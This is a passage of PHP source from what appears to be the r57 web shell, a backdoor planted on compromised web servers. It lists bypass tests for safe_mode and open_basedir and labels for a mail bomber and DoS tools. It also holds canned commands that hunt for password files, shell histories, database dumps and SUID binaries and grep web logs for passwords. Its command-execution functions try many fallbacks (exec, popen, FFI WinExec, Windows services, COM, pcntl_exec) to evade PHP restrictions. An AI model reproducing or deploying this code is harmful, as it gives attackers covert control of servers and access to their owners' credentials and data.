2686
2687'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2688
2689'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2690
2691'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2692
2693'eng_text134'=>'Database-bruteforce',
2694
2695'eng_text135'=>'Dictionary',
2696
2697'eng_text136'=>'Creating evil symlink',
2698
2699'eng_text137'=>'Useful',
2700
2701'eng_text138'=>'Dangerous',
2702
2703'eng_text139'=>'Mail Bomber',
2704
2705'eng_text140'=>'DoS',
2706
2707'eng_text141'=>'Danger! Web-daemon crash possible.',
2708
2709'eng_text142'=>'Downloaders',
2710
2711'eng_text143'=>'Temp: ',
2712
2713'eng_text144'=>'Test bypass safe_mode with load file in mysqli',
2714
2715'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)',
2716
2717'eng_text146'=>'Max Interation',
2718
2719'eng_text147'=>'',
2720
2721'eng_text148'=>'',
2722
2723'eng_text149'=>'',
2724
2725'eng_text150'=>'',
2726
2727'eng_err0'=>'Error! Can\'t write in file ',
2728
2729'eng_err1'=>'Error! Can\'t read file ',
2730
2731'eng_err2'=>'Error! Can\'t create ',
2732
2733'eng_err3'=>'Error! Can\'t connect to ftp',
2734
2735'eng_err4'=>'Error! Can\'t login on ftp server',
2736
2737'eng_err5'=>'Error! Can\'t change dir on ftp',
2738
2739'eng_err6'=>'Error! Can\'t sent mail',
2740
2741'eng_err7'=>'Mail send',
2742
2743);
2744
2745/*
2746
2747?????? ??????
2748
2749????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
2750
2751?? ?????? ???? ????????? ??? ???????? ???????.
2752
2753*/
2754
2755$aliases=array(
2756
2757'----------------------------------locate'=>'',
2758
2759'locate httpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate httpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2760
2761'locate vhosts.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate vhosts.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2762
2763'locate proftpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate proftpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2764
2765'locate psybnc.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate psybnc.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2766
2767'locate my.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate my.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2768
2769'locate admin.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate admin.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2770
2771'locate cfg.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate cfg.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2772
2773'locate conf.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate conf.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2774
2775'locate config.dat files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.dat >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2776
2777'locate config.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2778
2779'locate config.inc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.inc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2780
2781'locate config.inc.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.inc.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2782
2783'locate config.default.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.default.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2784
2785'locate .conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".conf" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2786
2787'locate .pwd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".pwd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2788
2789'locate .sql files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".sql" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2790
2791'locate .htpasswd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".htpasswd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2792
2793'locate .bash_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".bash_history" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2794
2795'locate .mysql_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".mysql_history" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2796
2797'locate backup files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate backup >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2798
2799'locate dump files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate dump >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2800
2801'locate priv files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate priv >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2802
2803'----------------------------------tar'=>'',
2804
2805'tar -czvf all.tgz -T '.$tempdir.'grep.txt'=>'tar -czvf all.tgz -T '.$tempdir.'grep.txt',
2806
2807'----------------------------------1'=>'',
2808
2809'locate auth_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate auth_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2810
2811'locate access_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate access_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2812
2813'locate error_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate error_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2814
2815'locate auth.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate auth.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2816
2817'locate access.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate access.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2818
2819'locate error.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate error.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2820
2821'locate ".log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2822
2823'----------------------------------2'=>'',
2824
2825'cat /var/log/httpd/auth_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/auth_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2826
2827'cat /var/log/httpd/access_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/access_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2828
2829'cat /var/log/httpd/error_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/error_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2830
2831'cat /var/log/httpd/auth.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/auth.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2832
2833'cat /var/log/httpd/access.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/access.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2834
2835'cat /var/log/httpd/error.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/error.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2836
2837'----------------------------------find'=>'',
2838
2839'find suid files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -04000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2840
2841'find suid files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -04000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2842
2843'find sgid files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -02000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2844
2845'find sgid files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -02000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2846
2847'find all writable files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2848
2849'find all writable files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2850
2851'find all writable directories >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type d -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2852
2853'find all writable directories in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type d -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2854
2855'find all writable directories and files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2856
2857'find all writable directories and files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2858
2859'find all .htpasswd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .htpasswd >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2860
2861'find all .bash_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .bash_history >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2862
2863'find all .mysql_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .mysql_history >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2864
2865'find all .fetchmailrc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .fetchmailrc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2866
2867'find httpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name httpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2868
2869'find vhosts.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name vhosts.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2870
2871'find proftpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name proftpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2872
2873'find admin.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name admin.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2874
2875'find config* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "config*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2876
2877'find cfg.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name cfg.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2878
2879'find conf.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name conf.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2880
2881'find config.dat files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.dat >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2882
2883'find config.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2884
2885'find config.inc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.inc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2886
2887'find config.inc.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.inc.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2888
2889'find config.default.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.default.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2890
2891'find *.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.conf" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2892
2893'find *.pwd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.pwd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2894
2895'find *.sql files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.sql" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2896
2897'find *backup* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*backup*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2898
2899'find *dump* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*dump*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2900
2901'-----------------------------------'=>'',
2902
2903'find /var/ auth_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name auth_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2904
2905'find /var/ access_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name access_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2906
2907'find /var/ error_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name error_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2908
2909'find /var/ auth.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name auth.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2910
2911'find /var/ access.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name access.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2912
2913'find /var/ error.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name error.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2914
2915'find /var/ "*_log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name "*.log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2916
2917'find /var/ "*.log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name "*.log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2918
2919'----------------------------------------------------------------------------------------------------'=>'ls -la'
2920
2921);
2922
2923$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
2924
2925$table_up2 = " ::</div></b></font></td></tr><tr><td>";
2926
2927$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
2928
2929$table_end1 = "</td></tr>";
2930
2931$arrow = " <font face=Webdings color=gray>4</font>";
2932
2933$lb = "<font color=black>[</font>";
2934
2935$rb = "<font color=black>]</font>";
2936
2937$font = "<font face=Verdana size=-2>";
2938
2939$ts = "<table class=table1 width=100% align=center>";
2940
2941$te = "</table>";
2942
2943$fs = "<form name=form method=POST>";
2944
2945$fe = "</form>";
2946
2947
2948
2949if(isset($_GET['users']))
2950
2951 {
2952
2953 if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
2954
2955 else
2956
2957 {
2958
2959 echo '<center>';
2960
2961 foreach($users as $user) { echo $user."<br>"; }
2962
2963 echo '</center>';
2964
2965 }
2966
2967 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
2968
2969 }
2970
2971
2972
2973if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; }
2974
2975if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
2976
2977$unix = 0;
2978
2979if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
2980
2981if(empty($dir))
2982
2983 {
2984
2985 $os = getenv('OS');
2986
2987 if(empty($os)){ $os = @php_uname(); }
2988
2989 if(empty($os)){ $os ="-"; $unix=1; }
2990
2991 else
2992
2993 {
2994
2995 if(@eregi("^win",$os)) { $unix = 0; }
2996
2997 else { $unix = 1; }
2998
2999 }
3000
3001 }
3002
3003
3004
3005if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
3006
3007 {
3008
3009 echo $head;
3010
3011 if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
3012
3013 else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
3014
3015 $sr->SearchText(0,0);
3016
3017 $res = $sr->GetResultFiles();
3018
3019 $found = $sr->GetMatchesCount();
3020
3021 $titles = $sr->GetTitles();
3022
3023 $r = "";
3024
3025 if($found > 0)
3026
3027 {
3028
3029 $r .= "<TABLE width=100%>";
3030
3031 foreach($res as $file=>$v)
3032
3033 {
3034
3035 $r .= "<TR>";
3036
3037 $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
3038
3039 $r .= (!$unix)? str_replace("/","\\",$file) : $file;
3040
3041 $r .= "</b></font></ TD>";
3042
3043 $r .= "</TR>";
3044
3045 foreach($v as $a=>$b)
3046
3047 {
3048
3049 $r .= "<TR>";
3050
3051 $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
3052
3053 $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
3054
3055 $r .= "</TR>\n";
3056
3057 }
3058
3059 }
3060
3061 $r .= "</TABLE>";
3062
3063 echo $r;
3064
3065 }
3066
3067 else
3068
3069 {
3070
3071 echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
3072
3073 }
3074
3075 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
3076
3077 die();
3078
3079 }
3080
3081
3082
3083/*if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }*/
3084
3085if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;}
3086
3087$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
3088
3089if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
3090
3091
3092
3093function ws($i)
3094
3095{
3096
3097return @str_repeat(" ",$i);
3098
3099}
3100
3101
3102
3103function ex($cfe)
3104
3105{global $unix,$tempdir;
3106
3107 $res = '';
3108
3109 if (!empty($cfe))
3110
3111 {
3112
3113 if(@function_exists('exec'))
3114
3115 {
3116
3117 @exec($cfe,$res);
3118
3119 $res = join("\n",$res);
3120
3121 }
3122
3123 elseif(@function_exists('shell_exec'))
3124
3125 {
3126
3127 $res = @shell_exec($cfe);
3128
3129 }
3130
3131 elseif(@function_exists('system'))
3132
3133 {
3134
3135 @ob_start();
3136
3137 @system('$cfe');
3138
3139 $res = @ob_get_contents();
3140
3141 @ob_end_clean();
3142
3143 }
3144
3145 elseif(@function_exists('passthru'))
3146
3147 {
3148
3149 @ob_start();
3150
3151 @passthru($cfe);
3152
3153 $res = @ob_get_contents();
3154
3155 @ob_end_clean();
3156
3157 }
3158
3159 elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r")))
3160
3161 {
3162
3163 $res = "";
3164
3165 if(@function_exists('fread') && @function_exists('feof')){
3166
3167 while(!@feof($f)) { $res .= @fread($f,1024); }
3168
3169 }else if(@function_exists('fgets') && @function_exists('feof')){
3170
3171 while(!@feof($f)) { $res .= @fgets($f,1024); }
3172
3173 }
3174
3175 @pclose($f);
3176
3177 }
3178
3179 elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
3180
3181 {
3182
3183 $res = "";
3184
3185 if(@function_exists('fread') && @function_exists('feof')){
3186
3187 while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
3188
3189 }else if(@function_exists('fgets') && @function_exists('feof')){
3190
3191 while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
3192
3193 }
3194
3195 @proc_close($f);
3196
3197 }
3198
3199 }else{$res = safe_ex($cfe);}
3200
3201 return htmlspecialchars($res);
3202
3203}
3204
3205
3206
3207
3208
3209function safe_ex($cfe)
3210
3211{global $unix,$tempdir;
3212
3213 $res = '';
3214
3215 if (!empty($cfe))
3216
3217 {
3218
3219 if(extension_loaded('perl')){
3220
3221 @ob_start();
3222
3223 $safeperl=new perl();
3224
3225 $safeperl->eval("system('$cfe')");
3226
3227 $res = @ob_get_contents();
3228
3229 @ob_end_clean();
3230
3231 }
3232
3233 elseif(!$unix && extension_loaded('ffi'))
3234
3235 {
3236
3237 $output=$tempdir.uniqid('NJ');
3238
3239 $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
3240
3241 if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);}
3242
3243 else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);}
3244
3245 while(!@file_exists($output))sleep(1);
3246
3247 $res=moreread($output);
3248
3249 @unlink($output);
3250
3251 }
3252
3253 elseif(!$unix && extension_loaded('win32service'))
3254
3255 {
3256
3257 $output=$tempdir.uniqid('NJ');
3258
3259 $n_ser=uniqid('NJ');
3260
3261 if(!@function_exists('escapeshellarg'))
3262
3263 {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));}
3264
3265 else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));}
3266
3267 @win32_start_service($n_ser);
3268
3269 @win32_stop_service($n_ser);
3270
3271 @win32_delete_service($n_ser);
3272
3273 while(!@file_exists($output))sleep(1);
3274
3275 $res=moreread($output);
3276
3277 @unlink($output);
3278
3279 }
3280
3281 elseif(!$unix && extension_loaded("win32std"))
3282
3283 {
3284
3285 $output=$tempdir.uniqid('NJ');
3286
3287 if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
3288
3289 else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
3290
3291 while(!@file_exists($output))sleep(1);
3292
3293 $res=moreread($output);
3294
3295 @unlink($output);
3296
3297 }
3298
3299 elseif(!$unix)
3300
3301 {
3302
3303 $output=$tempdir.uniqid('NJ');
3304
3305 $suntzu = new COM("WScript.Shell");
3306
3307 if(!@function_exists('escapeshellarg')){$suntzu->Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
3308
3309 else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
3310
3311 $res=moreread($output);
3312
3313 @unlink($output);
3314
3315 }
3316
3317 elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork'))
3318
3319 {
3320
3321 $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
3322
3323 $output=$tempdir.uniqid('pcntl');
3324
3325 $pid = @pcntl_fork();
3326
3327 if ($pid == -1) {
3328
3329 $res .= '[-] Could not children fork. Exit';
3330
3331 } else if ($pid) {
3332
3333 if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
3334
3335 else {$res .= '[-] Error. Command incorrect.';}
3336
3337 } else {
3338
3339 $cfe = array(" -e 'system(\"$cfe > $output\")'");
3340
3341 if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
3342
3343 if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
3344
3345 die();
3346
3347 }
3348
3349 $res=moreread($output);
3350
3351 @unlink($output);
3352
3353 }
3354
3355/* elseif(1)
3356
3357 {
3358
3359
3360
3361 }
3362
3363*/
3364
3365 }
3366
3367 return htmlspecialchars($res);
3368
3369}
3370
3371
3372
3373function get_users($filename)
3374
3375{
3376
3377 $users = $rows = array();
3378
3379 $rows=@explode("\n",moreread($filename));
3380
3381 if(!$rows[0]){$rows=@explode("\n",readzlib($filename));}
3382
3383 if(!$rows[0]) return 0;
3384
3385 foreach ($rows as $string)
3386
3387 {
3388
3389 $user = @explode(":",trim($string));
3390
3391 if(substr($string,0,1)!='#') array_push($users,$user[0]);
3392
3393 }
3394
3395 return $users;
3396
3397}
3398
3399function err($n,$txt='')
3400
3401{
3402
3403echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>';
3404
3405echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
3406
3407if(!empty($txt)) { echo " $txt"; }
3408
3409echo '</b></div></font></td></tr></table>';
3410
3411return null;
3412
3413}
3414
3415function perms($mode)
3416
3417{
3418
3419if (!$GLOBALS['unix']) return 0;
3420
3421if( $mode & 0x1000 ) { $type='p'; }
3422
3423else if( $mode & 0x2000 ) { $type='c'; }
3424
3425else if( $mode & 0x4000 ) { $type='d'; }
3426
3427else if( $mode & 0x6000 ) { $type='b'; }
3428
3429else if( $mode & 0x8000 ) { $type='-'; }
3430
3431else if( $mode & 0xA000 ) { $type='l'; }
3432
3433else if( $mode & 0xC000 ) { $type='s'; }
3434
3435else $type='u';
3436
3437$owner["read"] = ($mode & 00400) ? 'r' : '-';
3438
3439$owner["write"] = ($mode & 00200) ? 'w' : '-';
3440
3441$owner["execute"] = ($mode & 00100) ? 'x' : '-';
3442
3443$group["read"] = ($mode & 00040) ? 'r' : '-';
3444
3445$group["write"] = ($mode & 00020) ? 'w' : '-';
3446
3447$group["execute"] = ($mode & 00010) ? 'x' : '-';
3448
3449$world["read"] = ($mode & 00004) ? 'r' : '-';
3450
3451$world["write"] = ($mode & 00002) ? 'w' : '-';
3452
3453$world["execute"] = ($mode & 00001) ? 'x' : '-';
3454
3455if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
3456
3457if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
3458
3459if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
3460
3461$s=sprintf("%1s", $type);
3462
3463$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
3464
3465$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
3466
3467$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
3468
3469return trim($s);
3470
3471}
3472
3473function in($type,$name,$size,$value,$checked=0)
3474
3475{
3476
3477 $ret = "<input type=".$type." name=".$name." ";
3478
3479 if($size != 0) { $ret .= "size=".$size." "; }
3480
3481 $ret .= "value=\"".$value."\"";
3482
3483 if($checked) $ret .= " checked";
3484
3485 return $ret.">";
3486
3487}
3488
3489function which($pr)
3490
3491{
3492
3493$path = '';
3494
3495$path = ex("which $pr");
3496
3497if(!empty($path)) { return $path; } else { return false; }
3498
3499}
3500
3501function ps($pr)
3502
3503{global $unix;
3504
3505$path = '';
3506
